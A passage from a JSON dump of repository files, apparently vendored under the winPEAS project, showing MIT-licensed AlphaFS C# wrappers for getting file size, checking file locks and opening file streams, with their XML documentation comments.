<returns>The file size of the first or all streams, in bytes.</returns>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long GetSize(string path, bool sizeOfAllStreams, PathFormat pathFormat)\n      {\n         return GetSizeCore(null, null, path, sizeOfAllStreams, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of the specified file.</summary>\n      /// <returns>The file size, in bytes.</returns>\n      /// <param name=\"handle\">The <see cref=\"SafeFileHandle\"/> to the file.</param>\n      [SecurityCritical]\n      public static long GetSize(SafeFileHandle handle)\n      {\n         return GetSizeCore(handle, null, null, false, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetSizeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Retrieves the size of the specified file.</summary>\n      /// <returns>The file size, in bytes.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      [SecurityCritical]\n      public static long GetSizeTransacted(KernelTransaction transaction, string path)\n      {\n         return GetSizeCore(null, transaction, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of the specified file.</summary>\n      /// <returns>The file size, in bytes.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long GetSizeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetSizeCore(null, transaction, path, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of the specified file.</summary>\n      /// <returns>The file size of the first or all streams, in bytes.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      [SecurityCritical]\n      public static long GetSizeTransacted(KernelTransaction transaction, string path, bool sizeOfAllStreams)\n      {\n         return GetSizeCore(null, transaction, path, sizeOfAllStreams, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of the specified file.</summary>\n      /// <returns>The file size of the first or all streams, in bytes.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long GetSizeTransacted(KernelTransaction transaction, string path, bool sizeOfAllStreams, PathFormat pathFormat)\n      {\n         return GetSizeCore(null, transaction, path, sizeOfAllStreams, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.IsLocked.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Determines whether the specified file is in use (locked).</summary>\n      /// <returns>Returns <c>true</c> if the specified file is in use (locked); otherwise, <c>false</c></returns>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"Exception\"/>\n      /// <param name=\"path\">The file to check.</param>\n      [SecurityCritical]\n      public static bool IsLocked(string path)\n      {\n         return IsLockedCore(null, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Determines whether the specified file is in use (locked).</summary>\n      /// <returns>Returns <c>true</c> if the specified file is in use (locked); otherwise, <c>false</c></returns>\n      /// <exception cref=\"FileNotFoundException\"></exception>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"Exception\"/>\n      /// <param name=\"path\">The file to check.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static bool IsLocked(string path, PathFormat pathFormat)\n      {\n         return IsLockedCore(null, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.IsLockedTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Determines whether the specified file is in use (locked).</summary>\n      /// <returns>Returns <c>true</c> if the specified file is in use (locked); otherwise, <c>false</c></returns>\n      /// <exception cref=\"FileNotFoundException\"></exception>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"Exception\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to check.</param>\n      [SecurityCritical]\n      public static bool IsLockedTransacted(KernelTransaction transaction, string path)\n      {\n         return IsLockedCore(transaction, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Determines whether the specified file is in use (locked).</summary>\n      /// <returns>Returns <c>true</c> if the specified file is in use (locked); otherwise, <c>false</c></returns>\n      /// <exception cref=\"FileNotFoundException\"></exception>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"Exception\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to check.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static bool IsLockedTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return IsLockedCore(transaction, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.Open.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\nusing FileStream = System.IO.FileStream;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region Using FileAccess\n\n      #region .NET\n\n      /// <summary>Opens a <see cref=\"FileStream\"/> on the specified path with read/write access.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten.</param>\n      /// <returns>A <see cref=\"FileStream\"/> opened in the specified mode and path, with read/write access and not shared.</returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode)\n      {\n         return OpenCore(null, path, mode, mode == FileMode.Append ? FileAccess.Write : FileAccess.ReadWrite, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Opens a <see cref=\"FileStream\"/> on the specified path, with the specified mode and access.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the file.</param>\n      /// <returns>An unshared <see cref=\"FileStream\"/> that provides access to the specified file, with the specified mode and access.</returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access)\n      {\n         return OpenCore(null, path, mode, access, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Opens a <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> value specifying the type of access other threads have to the file.</param>\n      /// <returns>A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option.</returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share)\n      {\n         return OpenCore(null, path, mode, access, share, ExtendedFileAttributes.Normal, null, null, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path with read/write access.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">\n      ///   A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents\n      ///   of existing files are retained or overwritten.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"FileStream\"/> opened in the specified mode and path, with read/write access and not shared.</returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, mode, mode == FileMode.Append ? FileAccess.Write : FileAccess.ReadWrite, FileShare.None, ExtendedFileAttributes.Normal, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path, with the specified mode and access.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">\n      ///   A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents\n      ///   of existing files are retained or overwritten.\n      /// </param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   An unshared <see cref=\"FileStream\"/> that provides access to the specified file, with the specified mode and access.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, mode, access, FileShare.None, ExtendedFileAttributes.Normal, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">\n      ///   A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents\n      ///   of existing files are retained or overwritten.\n      /// </param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> value specifying the type of access other threads have to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access and the\n      ///   specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, mode, access, share, ExtendedFileAttributes.Normal, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">\n      ///   A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents\n      ///   of existing files are retained or overwritten.\n      /// </param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> value specifying the type of access other threads have to the file.</param>\n      /// <param name=\"extendedAttributes\">The extended attributes.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access and the\n      ///   specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, ExtendedFileAttributes extendedAttributes, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, mode, access, share, extendedAttributes, null, null, pathFormat);\n      }\n      \n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The default buffer size is 4096. </param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize)\n      {\n         return OpenCore(null, path, mode, access, share, ExtendedFileAttributes.Normal, bufferSize, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"useAsync\">Specifies whether to use asynchronous I/O or synchronous I/O. However, note that the\n      /// underlying operating system might not support asynchronous I/O, so when specifying true, the handle might be\n      /// opened synchronously depending on the platform. When opened asynchronously, the BeginRead and BeginWrite methods\n      /// perform better on large reads or writes, but they might be much slower for small reads or writes. If the\n      /// application is designed to take advantage of asynchronous I/O, set the useAsync parameter to true. Using\n      /// asynchronous I/O correctly can speed up applications by as much as a factor of 10, but using it without\n      /// redesigning the application for asynchronous I/O can decrease performance by as much as a factor of 10.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, bool useAsync)\n      {\n         return OpenCore(null, path, mode, access, share, ExtendedFileAttributes.Normal | (useAsync ? ExtendedFileAttributes.Overlapped : ExtendedFileAttributes.Normal), bufferSize, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"options\">A value that specifies additional file options.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, FileOptions options)\n      {\n         return OpenCore(null, path, mode, access, share, (ExtendedFileAttributes) options, bufferSize, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"extendedAttributes\">The extended attributes specifying additional options.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>      \n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes)\n      {\n         return OpenCore(null, path, mode, access, share, extendedAttributes, bufferSize, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, mode, access, share, ExtendedFileAttributes.Normal, bufferSize, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"useAsync\">Specifies whether to use asynchronous I/O or synchronous I/O. However, note that the\n      /// underlying operating system might not support asynchronous I/O, so when specifying true, the handle might be\n      /// opened synchronously depending on the platform. When opened asynchronously, the BeginRead and BeginWrite methods\n      /// perform better on large reads or writes, but they might be much slower for small reads or writes. If the\n      /// application is designed to take advantage of asynchronous I/O, set the useAsync parameter to true. Using\n      /// asynchronous I/O correctly can speed up applications by as much as a factor of 10, but using it without\n      /// redesigning the application for asynchronous I/O can decrease performance by as much as a factor of 10.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, bool useAsync, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, mode, access, share, ExtendedFileAttributes.Normal | (useAsync ? ExtendedFileAttributes.Overlapped : ExtendedFileAttributes.Normal), bufferSize, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"options\">A value that specifies additional file options.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, FileOptions options, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, mode, access, share, (ExtendedFileAttributes) options, bufferSize, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"extendedAttributes\">The extended attributes specifying additional options.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, mode, access, share, extendedAttributes, bufferSize, null, pathFormat);\n      }\n      \n      #endregion // Using FileAccess\n\n\n      #region Using FileSystemRights\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"options\">A value that specifies additional file options.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options)\n      {\n         return OpenCore(null, path, mode, rights, share, (ExtendedFileAttributes)options, bufferSize, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"extendedAttributes\">Extended attributes specifying additional options.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes)\n      {\n         return OpenCore(null, path, mode, rights, share, extendedAttributes, bufferSize, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"options\">A value that specifies additional file options.</param>\n      /// <param name=\"security\">A value that determines the access control and audit security for the file.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, FileSecurity 